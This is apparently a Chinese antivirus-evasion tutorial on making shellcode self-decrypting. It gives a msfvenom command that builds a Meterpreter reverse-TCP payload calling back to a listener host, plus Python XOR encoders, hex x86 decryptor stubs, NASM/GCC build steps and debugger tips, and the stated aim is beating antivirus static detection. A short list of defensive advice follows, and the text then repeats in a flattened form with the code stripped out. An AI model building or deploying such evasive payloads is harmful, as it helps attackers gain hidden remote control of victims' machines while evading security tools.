免杀学习之如何实现shellcode的自解密
字数 909 2025-08-22 18:37:14

Shellcode自解密技术详解

1. 基本概念

Shellcode自解密是一种反检测技术,通过将原始shellcode进行加密处理,然后在执行时动态解密并执行。这种方法可以有效绕过杀毒软件的静态检测。

2. 基础异或加密实现

2.1 生成原始shellcode

使用msfvenom生成基础的meterpreter反向TCP shellcode:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.135.141 LPORT=4444 -f c -o shellcode.c

生成的shellcode示例:

\xFC\xE8\x8F\x00\x00\x00\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30...

2.2 异或加密Python实现

def xor_shellcode(shellcode):
    result = ''
    shellcode = shellcode.replace(" ", "").replace("\n", "").replace("\r", "")
    for i in range(0, len(shellcode), 2):
        byte = int(shellcode[i:i+2], 16)
        xor_byte = byte ^ 121  # 0x79作为异或密钥
        result += format(xor_byte, '02x')
    print("shellcode长度:" + str(len(shellcode)))
    return result

if __name__ == '__main__':
    shellcode = input("shellcode: ")
    xorshellcode = xor_shellcode(shellcode)
    print("Xor_shellcode: " + xorshellcode)

2.3 解密汇编代码

解密代码需要放置在加密的shellcode之前:

31 c9          ; xor ecx,ecx 清空ecx
B9 62 01 00 00 ; mov ecx, 0x162 设置循环次数(354次)
80 74 08 0D 79 ; xor byte ptr [eax+ecx*1+0xd],0x79 解密操作
E2 F9          ; loop -7 循环

3. 高级自解密技术

3.1 Shikata Ga Nai编码分析

MSF的Shikata Ga Nai编码使用更复杂的解密机制:

  1. 设置初始密钥:mov eax,6F7F0398
  2. 设置循环次数:mov cl,59 (89次)
  3. 解密操作:xor dword ptr ds:[edx+19],eax
  4. 更新密钥:add eax,dword ptr ds:[edx+15]

3.2 改进版异或加密

使用前一个字节作为下一个字节的密钥:

def xor_shellcode(shellcode):
    result = ''
    shellcode = shellcode.replace(" ", "").replace("\n", "").replace("\r", "")
    xor_key = 121  # 初始密钥0x79
    for i in range(0, len(shellcode), 2):
        byte = int(shellcode[i:i+2], 16)
        xor_byte = byte ^ xor_key
        result += format(xor_byte, '02x')
        xor_key = xor_byte  # 更新密钥为上一个解密后的字节
    print("shellcode长度:" + str(len(shellcode)))
    return result

3.3 对应的解密汇编代码

31 c9          ; xor ecx,ecx
89 c2          ; mov edx,eax
31 c0          ; xor eax,eax
B9 61 01 00 00 ; mov ecx, 0x161 (353次循环)
8a 44 0A 1D    ; mov al,BYTE PTR [edx+ecx*1+0x1e]
32 44 0A 1C    ; xor al,BYTE PTR [edx+ecx*1+0x1d]
88 44 0A 1D    ; mov BYTE PTR [edx+ecx*1+0x1e],al
E2 F2          ; loop -14
80 72 1D 79    ; xor byte ptr [eax+0x1d],0x79

4. 编译与调试

4.1 编译过程

使用NASM和GCC编译:

nasm -f win32 xor.asm -o main.obj
gcc -m32 main.obj -o xor_msf.exe -lkernel32

4.2 调试技巧

  1. 在x32dbg中搜索jmp eax指令并设置断点
  2. 运行到断点后,右键"转到eax地址"查看解密后的shellcode
  3. 使用Process Monitor监控程序行为,验证shellcode是否成功执行

5. 技术要点总结

  1. 密钥选择:可以使用固定密钥(如0x79)或动态密钥(前一个解密字节)
  2. 解密方向:可以从后向前解密,增加分析难度
  3. 循环控制:需要精确计算shellcode长度和循环次数
  4. 内存操作:通过寄存器间接寻址访问加密的shellcode
  5. 反调试:结合多种解密技术可以增强对抗分析的能力

6. 防御建议

  1. 监控异常的内存访问模式
  2. 检测包含解密循环的可执行文件
  3. 分析程序的动态行为而非静态特征
  4. 使用沙箱技术检测可疑的API调用序列

通过掌握这些自解密技术,可以有效提升渗透测试中payload的隐蔽性和存活率,同时也帮助蓝队更好地理解这类攻击手法并制定防御策略。

Shellcode自解密技术详解 1. 基本概念 Shellcode自解密是一种反检测技术,通过将原始shellcode进行加密处理,然后在执行时动态解密并执行。这种方法可以有效绕过杀毒软件的静态检测。 2. 基础异或加密实现 2.1 生成原始shellcode 使用msfvenom生成基础的meterpreter反向TCP shellcode: 生成的shellcode示例: 2.2 异或加密Python实现 2.3 解密汇编代码 解密代码需要放置在加密的shellcode之前: 3. 高级自解密技术 3.1 Shikata Ga Nai编码分析 MSF的Shikata Ga Nai编码使用更复杂的解密机制: 设置初始密钥: mov eax,6F7F0398 设置循环次数: mov cl,59 (89次) 解密操作: xor dword ptr ds:[edx+19],eax 更新密钥: add eax,dword ptr ds:[edx+15] 3.2 改进版异或加密 使用前一个字节作为下一个字节的密钥: 3.3 对应的解密汇编代码 4. 编译与调试 4.1 编译过程 使用NASM和GCC编译: 4.2 调试技巧 在x32dbg中搜索 jmp eax 指令并设置断点 运行到断点后,右键"转到eax地址"查看解密后的shellcode 使用Process Monitor监控程序行为,验证shellcode是否成功执行 5. 技术要点总结 密钥选择 :可以使用固定密钥(如0x79)或动态密钥(前一个解密字节) 解密方向 :可以从后向前解密,增加分析难度 循环控制 :需要精确计算shellcode长度和循环次数 内存操作 :通过寄存器间接寻址访问加密的shellcode 反调试 :结合多种解密技术可以增强对抗分析的能力 6. 防御建议 监控异常的内存访问模式 检测包含解密循环的可执行文件 分析程序的动态行为而非静态特征 使用沙箱技术检测可疑的API调用序列 通过掌握这些自解密技术,可以有效提升渗透测试中payload的隐蔽性和存活率,同时也帮助蓝队更好地理解这类攻击手法并制定防御策略。